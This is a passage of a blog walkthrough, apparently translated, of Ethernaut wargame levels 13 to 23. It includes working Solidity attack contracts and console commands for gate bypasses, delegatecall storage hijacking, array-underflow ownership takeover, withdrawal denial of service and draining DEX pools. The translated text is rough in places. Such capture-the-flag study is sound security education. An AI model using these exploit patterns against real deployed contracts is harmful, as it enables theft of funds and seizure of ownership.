Analysis gateThree, this shows that special bytes8 data needs to be input, to ensure that the 1-16 bits are the data of tx.origin and the 17-32 bits are 0 ( uint32(uint64(_gateKey)) == uint16(tx.origin),), and the 33-64 bits are not all 0 ( uint32(uint64(_gateKey)) != uint64(_gateKey)).

So we can organize our ideas and write smart contracts.

Attack contract writing

We also write the attack contract in remix. as follows:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    uint64 offset = 0xFFFFFFFF0000FFFF;
    bytes8 changedValue;
    Gate gateImpl;

    constructor(address addr) public {
        gateImpl = Gate(addr);
    }

    function getAddress() public {
        changedValue = bytes8(uint64(tx.origin) & offset);
    }

    function check1() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
    }

    function check2() public view returns (bool){
        return uint32(uint64(changedValue)) != uint64(changedValue);
    }

    function check3() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(tx.origin);
    }

    function attack() public {
        gateImpl.enter(changedValue);
    }
}

Here we mainly look at why gateThreethe needs can be solved. When input is taken, bytes8(uint64(tx.origin) & offset)operations are performed.

  • addressType length is 160 bits, 20 bytes, 40 hex
  • uint64(tx.origin)The pair tx.originis intercepted, and the last 64 bits, 8 bytes, and 16 hexadecimal are selected.
  • offsetThe type is uint64, the default value is 0xFFFFFFFF0000FFFF, the last FFFFguarantees that the last 16 bits will not change, the middle 0000guarantees that the 17-33 bits are 0, and the rest FFFFFFFFguarantee that the 34-64 bits are not all 0 (as long as tx.originthis is not the case).
  • &The transformation is completed by operation to bytes8store in a changedValuevariable for actual attack.

contract interaction

Deploy the contract, pass in the target contract 0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284, and build the contract at the address 0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d.

deploy contract
Click getAddressto calculate changedValue. At this point, click check1, check2, check3to check gateThreewhether the requirements are met. As can be seen from the screenshots, all are satisfied.
gateThree is satisfied
Since it gateOnehas been automatically satisfied, we can debug the actual gas directly by calling.
Click attackto launch an attack, because it is a cross-contract call, so we first increase the Gas Limit (actually far from so large), as shown in the figure.
set gas

At this point, we enter the testnet Explorer to view the transaction details. No accident, the transaction will be rolled back. This is because the current gas does not meet the requirements.
transaction rollback

Click on the upper right corner and select to Geth Debug Tracesee the detailed compilation process.
Geth Debug Trace
Inside is the execution process of each step and the GAS it consumes.
Geth Debug Trace Details

Searching for GAS on the page, there are a total of 2 operations. Analyze the entire call sequence. The former should be initiated before the internal call of the contract, and the latter should be gateTwoinitiated gasLeftactively. So write down the remaining gas after the GAS operation (because the query itself also consumes gas), which is 70215 here. We can adjust the gas limit according to the remainder of dividing this value by 8191 until the attack is completed.
GAS details

The following table shows our initiation process, which needs to be repeated several times to complete the attack.

original gas limit Remaining gas after GAS operation remainder Enter gas next time
100000 70215 4687 95313
95313 65601 73 95240
95240 65529 1 95239

Note that when gas is set to 95239, the transaction is successful. As shown in the screenshot:
successful attack
Enter await contract.entrant() == player, and return true at this time to indicate that the attack is successful.
await contract.entrant() == player
Submit an example, this level is successful!

level success

Summarize

The debugging of Gas is very interesting and worthy of careful study.


14 GateKeeper Two

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F. The purpose of this level is to satisfy gateOne, gateTwoand gateThree, to successfully implement entrantmodifications.

Observe its core code, still gateOne, gateTwoand gateThree.

  • gateOneIt is still a requirement msg.sender != tx.originthat there must be an intermediate contract.
  • gateTwoThe requirement extcodesize(caller())==0is that the associated code length of the caller (corresponding to msg.sender) is 0, and we know that the smart contract code is not 0.
  • gateThreeThen it is required to input the corresponding bytes8 to meet the corresponding requirements.

At first glance, it seems gateOneand gateTwocannot be satisfied at the same time, but it can be considered that when the contract is being constructed, its associated code is also 0. So we can attack in the build function.

Attack contract writing

We also write the attack contract in remix. as follows:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    constructor(address addr) public {
        Gate gateImpl = Gate(addr);
        bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        gateImpl.enter(input);
    }
}

It is worth noting that here we gateThreeuse active underflow to obtain all 1s uint64(two XORs disappear).

contract interaction

Deploy the contract, pass in the target contract 0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F, and build the contract at the address 0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f.

After the deployment is successful, use it to await contract.entrant() == playercheck whether the attack is successful. The answer is success.

await contract.entrant() == player
Submit an example, this level is successful!
level success

Summarize

How to ensure that the request sent by the smart contract is not processed? msg.sender=tx.originThat's it.


15 Naught Coin

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2. The purpose of this level is to bring your own balance to 0.

At first glance, the contract playerhas the following restrictions:

    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }

It seems that it cannot be bypassed, and it seems that we cannot attack through the contract, because the default is to deduct our own token.
But at first glance, it NaughCoinis inheritance ERC20, and we know that ERC20there is more than one transfer function. We can try other methods.

ERC20On closer inspection, there are still transferFromfunctions in the original .

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

Of course, this premise is that there is enough allowance. We can start trying.

contract interaction

First pass await contract.approve(player,await contract.balanceOf(player)), so that it can transferFromtransfer money through the function.
await contract.approve(player,await contract.balanceOf(player))
We then proceed by await contract.transferFrom(player,contract.address,await contract.balanceOf(player))transferring the balance to the contract.
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
At this point, by await contract.balanceOf(player)checking the balance, we can see that the attack was successful and the balance is 0.
await contract.balanceOf(player)
Submit an example, this level is successful!
insert image description here

Summarize

Inheriting some functions does not affect other uses, which can be said to be a superficial contract.


16 Preservation

I'm back again, and the training for foreigners is about to come to an end. During this process, I think I have gained a lot. In the process of training and explaining, my thinking has become more clear. congratulations. In theory, my initial plan is to complete the attack and defense of Ethernaut in August, and then start the next stage of sharing.

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046. The purpose of this level is to take ownership of the target contract. Then we still have to see, where is the weak point of the target contract, and where is the entrance of our hack ?

We carry out a detailed analysis of the target

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;

Here the target stores timeZone1Library, timeZone2Library, ownerand storedTimevariables, all of which are specified at creation time.

Since we want to obtain the ownership of the target contract, first we look for ownerthe modified statement, but we can't find it in the code, maybe we have to see what dangerous functions are there ?

  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

That's right, it's here, delegatecall!
In fact, in Delegationa level, we specifically mentioned the difference in the call function family:

  • call: The most common calling method. After the call, the value of the built-in variable msg will be changed to the caller B, and the execution environment will be the callee's runtime environment C.
  • delegatecall: After the call, the value A of the built-in variable msg will not be changed to the caller B, but the execution environment is the caller's runtime environment B
  • callcode: After the call, the value A of the built-in variable msg will be modified to the caller B, but the execution environment is the caller's runtime environment B

At this point, when using delegate call, we just call the function, and the actual execution environment is still its own running environment. How to understand it at a lower level? This context, especially when it comes to storage of storage variables, is used based on the slot, not the variable name. In other words, if we modify the storage variable through the delegate call, we are actually modifying the corresponding slot in the current environment!

After understanding this, let's look at the current contract again. It really doesn't look right: when LibraryContractthe setTimefunction of the corresponding contract is called, as what you see is what you get, the storedTimevariables are modified, which will actually modify the running environment. slot 0In other words, in fact, timeZone1LibraryThe slot it is in has been modified. The contract itself is problematic!

That is, because it has a problem, we have to deal with it! We first want to timeZone1Librarymodify the address to our attack contract, and we are trying to implement subsequent attacks through delegate calls.

Attack contract writing

We also write the attack contract in remix. as follows:

pragma solidity ^0.6.0;


contract attacker {

    address public tmpAddr1;
    address public tmpAddr2;
    address public owner; 

    constructor() public {

    }

    function setTime(uint _time) public {
        owner = address(_time);
    }

}

At first glance, is this any different from the original contract? In fact, there is, that is, we deliberately make the modification of the third slot, that is, when we modify it slot 2. The variable tmpAddr1sum tmpAddr2is actually just a placeholder for a slot and has no special meaning.

contract interaction

First, we deploy the attack contract, the contract address is 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958. Now we just want to replace the original variable with it timeZone1Library.

First, we can query the current slot status of the target contract.
slot
Its layout should be

-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5        | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

We try to call await contract.setFirstTime()(first or second doesn't really matter, you can think about why below) and pass in our attack contract. At this point you can see that there has actually been a change. We can directly pass in the address without caring about the limitation of uint, because the specifically constructed data will not specify the parameter type, but will be compiled manually by evm.
Embedded attack contract
At this point, its layout should be

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

At this point, the idea is very simple, directly call await contract.setFirstTime()and pass in the player address. After passing in, check whether the owner variable has been modified, and you can see that the contract ownership has been successfully obtained.
Successfully acquired contract ownership
The layout is now:

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

Submit an example, this level is complete!
level completed

Summarize

Still have to understand what the delegate call shared environment is sharing.


17 Recovery

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046. The purpose of this level is to find the "lost address" (we transferred him 0.001 ether but forgot its address) and recover the lost ether.

There are actually two ways of thinking about this question, one is a bit tricky, and the second I guess is what the question really wants to test.
According to the title description, this is actually a continuous process: the contract creator creates the factory contract of the token contract , and the latter creates the token contract (forgotten address). We start around this idea.

contract interaction

Find the forgotten address, method 1: Browser-based

The browser here is not Browser, but Explorer .
We can view our transaction history. You can see that we also transferred 0.001 ether twice inside.
Transaction Record
We can expand the analysis based on internal calls. The overall process is as follows:

  • User account calls Ethernaut contract0xd991431d8b033ddcb84dad257f4821e9d5b38c33
  • The Ethernaut contract 0xd991431d8b033ddcb84dad257f4821e9d5b38c33calls the level contract 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2and transfers 0.001Ether
  • The level contract 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2creates the factory contract0xfeB7158F1d0Ff49043e7e2265576224145b158f2
  • The level contract 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2calls the factory contract 0xfeB7158F1d0Ff49043e7e2265576224145b158f2, which should be an generateTokeninterface
  • The factory contract 0xfeB7158F1d0Ff49043e7e2265576224145b158f2created the token contract0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
  • The level contract transfers 0.001Ether 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2to the token contract , and then forgets the contract address.0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8

insert image description here
Through the browser, we found that the token contract address is 0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8.

Find the forgotten address, method 2: Generate based on address

In fact, the generation of contract addresses can be found regularly. It is often seen that the contracts deployed by some tokens or organizations across the chain are the same. This is because the contract address is calculated based on the creator's address and nonce. Both are first encoded with RLP and then hashed with keccak256. , and take the last 20 bytes as the address in the final result (the hash value was originally 32 bytes).

  • The creator's address is known, and the nonce is incremented from the initial value.
  • The initial value of the external address nonce is 0, and each transfer or contract creation will cause the nonce to increase by one.
  • The initial value of the contract address nonce is 1, and each time a contract is created, the nonce is incremented by one (internal calls will not)

Let's try to recall the lost contract address with web3.js. At present, the known factory contract is 0xfeB7158F1d0Ff49043e7e2265576224145b158f2, the nonce is 1, the
input is web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,), and the result is 9d91abf611bbf14e52fa4cddea81f8f2cf665cb8.

get back

Having found the contract, it is time to try to interact with the contract. We can create new contracts or interact with contracts directly through web3.js.

First, we get the function indication through encodeFunctionSignature and construct the parameters. Finally, it is sent out through sendTransaction.
Construction parameters
You can see that there are 4-byte functions and 32-byte inputs (not enough 0s).
insert image description here
Called successfully!
successful call
Submit an example, this level is successful!
insert image description here)

Summarize

In fact, I feel that I know the principle, but I am always a little unskilled in practice, and I need to practice more~


18 MagicNumber

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c. This level is to hope that we can write solidity opcode, build a contract, and then call it to return the magic number directly 0x42. To be precise, I want us to be familiar with what the data in the transaction actually refers to when we create a contract.

In fact, I am not particularly familiar with this piece, so I also inquired some information. What exactly happens when we deploy a contract with Solidity?

  • The Solidity code has been written. When the user clicks deploy, the transaction to create the contract will be sent (there is no option for this transaction to), and the solidity language has been compiled into bytecode.
  • After the EVM receives the request, it will fetch the data, which is actually bytecode
  • The bytecode will be loaded into the stack and divided into two parts: initialization bytecode and runtime bytecode
  • The EVM will execute the initialization bytecode and return the runtime bytecode for normal use.

We actually need to write both the runtime bytecode and the initialization bytecode here.

Then start writing bytecode.

contract writing

runtime bytecode

The running state is actually returning RETURN42 directly. But opcode RETURNis stack-based. It reads p and s from the stack and returns. Which prepresents the memory address of the storage, and srepresents the size of the stored data. So our idea is to store the data mstorein memory first, and then use it RETURNback.

  • mstoreWill read p and v in the stack, and finally store the data in the p position

    • push1 0x42 -> 60 42
    • push1 0x60-> 60 60(stored at location 0x60)
    • mstore->52
  • RETURNreturn0x42

    • push1 0x20-> 60 20( 0x20=32ie the number of bytes of uint256)
    • push1 0x60->60 60
    • return->f3

Together it is 604260605260206060f3. It seems that the runtime bytecode is as simple as that.

initialization bytecode

The core of it is to initialize and codecopystore the runtime bytecode in memory, after which this will be automatically processed by the EVM and stored on the blockchain.

  • codecopyThe parameters t, f, and s will be read, where tis the destination memory address of fthe code, the offset of the running state code relative to the whole (initialization + running state), and sthe code size. We choose here t=0x20(there is no mandatory requirement here), f=unknown(是1字节的偏移量),s=0x0a(10个字节的大小)

    • push1 0x0a->60 0a
    • push1 0xUN->60 UN
    • push1 0x20->60 20
    • codecopy->39
  • By RETURNreturning the code to the EVM

    • push1 0x0a->60 0a
    • push1 0x20->60 20
    • return-> f3
      At this time, the initialization bytecode has 12 bytes, so the running state offset is The 12=0x0c=UN
      final initialization bytecode is600a600c602039600a6020f3

build and test

Build bytecode 0x600a600c602039600a6020f3604260605260206060f3.
We constructed the transaction in the console interface to create the contract.
Create a contract
Since the transaction has no recipient, it is automatically identified as the deployment contract . The
deploy contract
deployment is complete. It can be seen that the contract address is 0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771.
Deployment completed
Set the contract as solver. Later, when we submit, it will be called automatically to see if it is satisfied.
set solver
Submit the level, test it, and find that it is unsuccessful? what happened?

Looking at the transaction first RAW TRACE, it can be seen that our contract was indeed accessed in the end, and 0x42 was indeed returned.

DEBUG TRACE
Looking at the assembly again, you can see that it is indeed executed.
assembly check
Then we import on remix, call the function, and indeed all return 0x42.
The result of remix is ​​normal
Is it? We modify the returned value from 0x42 to 42 ( 0x2a).

Build bytecode 0x600a600c602039600a6020f3602a60605260206060f3.
At this time, through the remix call, it does return 42. Submit again? It worked!
level success

Summarize

Does anyone actually get confused? There's no function selector or something? In fact, it needs to be added here. Usually, after we write smart contracts through solidity, function selectors are implanted at compile time. And we don't have this step in this level, so just like the graph called by remix, all functions actually execute the same block of commands and get the same result.


19 AlienCodex

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef. The purpose of this level is to take ownership of the contract. So let's see if there is any code for setting ownership in the contract?

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;
  ...
}

When you see the code, you know that there should be no ownership code in the contract, so we may have to find a way to start from other places. Found this in the code:

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }

It seems to be here, find a way to start from here, and change the size of the value stored in the slot through this operation.

contract interaction

Let's first see what is stored in the slot?

Query slot storage
Since the contract inherits the contract, the object Ownablestored in slot0 is at this time . In fact, this address is the address where the target contract is created, as shown in the following figure:owner0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272

ownable variable, the owner will still get their share
and the stored contactvariable is also in slot 0(a slot is 32 bits long and can store address (20) + boolean (1)), currently 0 is false. Slot1 stores a codexdynamic array. More precisely, it should be codexthe length of the dynamic array. What about the specific subscript content? will be stored in order in keccak256(bytes(1))+xthe slot, where x is the index of the array. So we represent the slot as:

-----------------------------------------------------
| unused(11 bytes) |contact = false  |  0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272       | <- slot 0
-----------------------------------------------------
| codex length =0       | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0]      | <- slot ??
-----------------------------------------------------

We now calculate the starting slot of the codex data, which should be0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

Calculate starting data slot
Let's test the accuracy first. Because contacted modifierof the existence, we first modify the contactvariable. Call await contact.make_contact(), check the slot value again, you can find that the variable has been successfully modified.
Successfully modified the contact variable
Save a value to see and await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")test it. At this point, the slot length is changed, and the stored data is also modified.

test
Save another value to see and await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")test it. At this point, the slot length is changed, and the stored data is also modified.

success
Now we hope to finally modify slot 0 by modifying codexthe dataresulting overflow. First we underflow by
calling three times in await contract.retract()a row . All previously entered data is lost at this point.codex.length2**256-1

Modify codex.length
How much should the bid be? It should be 2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1. Because we need to advance one more bit after we reach the end, it will overflow and return to slot0. We encountered a problem in the calculation process, that is, javascript will use scientific notation, which will lead to loss of precision. For simplicity, we calculate with remix, and the result is 35707666377435648211887908874984608119992236509074197713628505308453184860938.

Use remix to assist calculation
Then we use it await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)to call, and the original slot will be overwritten at this time. But an inspection found that something was wrong, and the result ran to the front. It seems that we have to modify it again, it cannot be passed in directly player, it needs to be passed 0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1bin.

insert image description here
Input await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'), this is to fill in 24 0s in front of the address, making up 24 4+40 4=256 bits or 32 bytes, so as to store the address in the correct storage location.
Restart after modification
At this point, the contract owner has successfully modified it.
Modified successfully
Submit an example, this level is successful!
level success

Summarize

Be careful when it comes to owner (or other important variables) and look for all possibilities.


20 Denial

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xeb587746E66F008f686521669B5ea99735b1310B. The purpose of this level is to block ownerwithdrawals. Let's first look at what the roles are.

    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;输入
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

Whenever a user withdraws money, the withdrawfunction will be called, 1% will be withdrawn and sent to partner, and another 1% will be sent to owner. All we can do is partnerdefine functions on the side so that the given ownersteps cannot be performed.

However, the contract is calling calland attaching all the gas. Let's review the difference between send, calland .transfer

  • If the transfer is abnormal, the transfer will fail and an exception will be thrown, there is a gas limit
  • If send is abnormal, the transfer will fail, return false, and will not terminate the execution, there is a gas limit
  • If the call is abnormal, the transfer will fail, return false, do not terminate the execution, and there is no gas limit

So our starting point is to consume all its gas, and the failure of light will not terminate the subsequent execution!

How to consume it? Then let's take a look at requireand assert.

  • assertwill consume all remaining gas and resume all operations
  • requirewill refund all remaining gas and return a value

So it seems that we can work on assert.

Attack contract writing

Attacking the contract is very simple, it is to default assert(false)and roll back everything.

pragma solidity ^0.6.0;


contract attacker {

    constructor() public {
    }
    
    fallback() external payable {
        assert(false);
    }

}

contract interaction

Deploy the attack contract at address 0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7.

Deploy the attack contract
Enter await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')to set the attack contract as a partnerrole.
set partner
At this point we initiate a withdrawtest. Enter await contract.withdraw(), it turns out that it fails due to running out of gas.
withdraw call failed
Submit an example, this level is successful!
level success

Summarize

As the old saying goes, contract interactions are hard to trust.


21 Shop

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7. The purpose of this level is to achieve a purchase at a price lower than the asking price. The specific code segment is as follows:

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }

The contract asks the user msg.sender(so can be a smart contract) for a bid, and if its price()function returns a result that exceeds the current price and the item is still not sold, it will set the price to the user's bid. Now it seems that the results returned by asking the user to bid twice are different. However, we can see Buyerthat the interface price()of the viewtype is a function of the type, which means that the variable can only be read and should not be modified, i.e. the state of the current contract cannot be changed. what should we do?

So is there a way to make the viewmethod return different values ​​twice? Currently, there are two methods:

  • Relying on changes in external contracts
  • Relying on changes in its own variables

Attack contract writing

State changes of external contracts

If viewthe type method relies on the state of the external contract, the difference of the return value can be achieved without modification by interrogating the external variable.

Also based on remix, we write the contract as follows:

pragma solidity ^0.6.0;


interface Shop {
  function buy() external;
  function isSold() external view returns (bool);码
}

contract attacker {

    Shop shop;

    constructor(address _addr) public {
        shop = Shop(_addr);
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        if (!shop.isSold()){
            return 101;
        }else{
            return 99;
        }
    }

}

At this time, since the variables of the contract have changed price()before and after the request , we can set rules based on the variables, and this method is applicable.ShopisSoldif

Changes in own variables

If we depend on variables such as now, , timestampetc., it is true that viewfunctions of different types will return different results under different blocks. However, under the same block, it seems that it is still difficult to distinguish.

We have the following contracts:

contract attacker2 {

    Shop shop;
    uint time;

    constructor(address _addr) public {
        shop = Shop(_addr);
        time = now;
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        return (130-(now-time));
    }

}

viewWhen a function of a type is called at different times price, the returned value is different. However, in the same block, it is difficult to distinguish, so it is not applicable enough.
115

106

contract interaction

Check the current status of the contract first.
The current state of the contract
Deploy the attack contract, the contract address is 0x8201E303702976dc3E203a4D3cDe244D522274bf.
Deploy the attack contract
At this point, call pricethe method and return 101.
Get current price
Call attackthe method to attack. Refresh the target contract state after calling. At this point the item has been sold at 99.
Refresh the target contract state
Submit an example, this level is complete!
This level is complete!

Summarize

Sometimes we think about problems from another angle, which may be different from what we normally understand.


22 Dex

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x28B73f0b92f69A35c1645a56a11877b044de3366. This level is a simplified version of DEX (Decentralized Exchange).

Analysis of the contract, there are only two token contracts in the contract, one is token1and the other is token2.

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

And the contract allows us to exchange according to the exchange rate between the tokens. The exchange price is the ratio of the quantity of the two tokens.

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

There is a problem found here , we will not list it for the time being.
So what do we need to do? It is to use the asymmetric exchange rate here to achieve arbitrage and hollow out the tokens in the trading pool (one type is sufficient).

Since swapit has been limited to only revolve around token1and token2conduct transactions. So we can only start with the exchange rate. So that goes back to the problem we found at the beginning, the exchange rate is constant for a single transaction! For general decentralized exchanges, there will be a concept of slippage, that is, as the transaction volume increases, the difference between the theoretical exchange rate and the actual exchange rate will become larger and larger! Obviously, there is no concept of slippage in this level contract, which allows us to obtain a much larger exchange amount than the actual value. With a few more exchanges, we can quickly empty the transaction pool.

contract interaction

Let's first look at the amount of tokens in the transaction pool token1and our account.token2

View current transaction pool and user balance

token1If we want to redeem the 10 we have on hand token2, first we pass await contract.approve(contract.address,10)the authorization.
Authorize
We then exchanged await contract.swap(token1,token2,10)10 for . We can get 10 according to the initial exchange rate . At this point we have 0 , 20 , but the exchange now has 110 , 90 , if we exchange 10 back, we can get more than 10 ! This is arbitrage!token1token21:1token2token1token2token1token2token2token1

Exchange successfully

The following table shows the arbitrage process, in which the exchange rate is often only accurate to 1 decimal place due to limited precision. The last time we did not fully convert according to the exchange rate, only 46 ( 110/2.4=45.83) were converted, and the result failed (because the transaction pool did not have that many). Later, I found out that you can directly exchange 45 coins.

transaction pool token1 transaction pool token2 Exchange rate 1-2 Exchange rate 2-1 user token1 user token2 exchange currency User token1 after redemption User token1 after redemption
100 100 1 1 10 10 token1 0 20
110 90 0.818 1.222 0 20 tokens2 twenty four 0
86 110 1.28 0.782 twenty four 0 token1 0 30
110 80 0.727 1.375 0 30 tokens2 41 0
69 110 1.694 0.627 41 0 token1 0 65
110 45 0.409 2.44 0 65 tokens2 110 20

At this point, the transaction pool token1has been emptied! Submit the level, this level is successful!
The level is successful!

Summarize

When it comes to Dexthis kind of Defiproject, smart contracts must be written with caution.


23 Dex2

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA. This level is still a simplified version of DEX (Decentralized Exchange).

At first glance, this question is no different from the previous one. But on closer inspection it seems that something is missing?

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

The address of the currency is no longer verified, so can we deploy our own token contract, provide liquidity through related methods, and eventually empty the pool?

Write an attack contract

We refer to the contract in the target contract SwappableTokenand write the attack contract as follows:

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract SwappableTokenAttack is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Deploy the contract, its contract address is0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e
deploy contract

contract interaction

We first implement approvethe authorization permission, giving the target contract permission for 8 attack tokens.
approve permission
Subsequently, we await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)added the attack token by adding it DEX. The result failed, it turned out that we were not contracted owner.
Failed to add liquidity
Does this affect? No effect, we can manually transfer money in the attack contract.
Manual transfer
At this point, let's get the exchange rate of the attack token transfer token1~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1), and it turns out that we can empty it all token1!

insert image description here
Then start the transaction, enter the await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)sum in succession await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)to realize the emptying of the transaction pool! success! (The reason for token2using 2 attack tokens is that our exchange rate has dropped to 2 at this time 1:50)

successfully hollowed out
Submit the level, this level is successful!
This level is successful

Summarize

Smart contracts are really full of loopholes. If you have time, you must study the following UniSwap!


Guess you like

Origin blog.csdn.net/weixin_43982484/article/details/125218458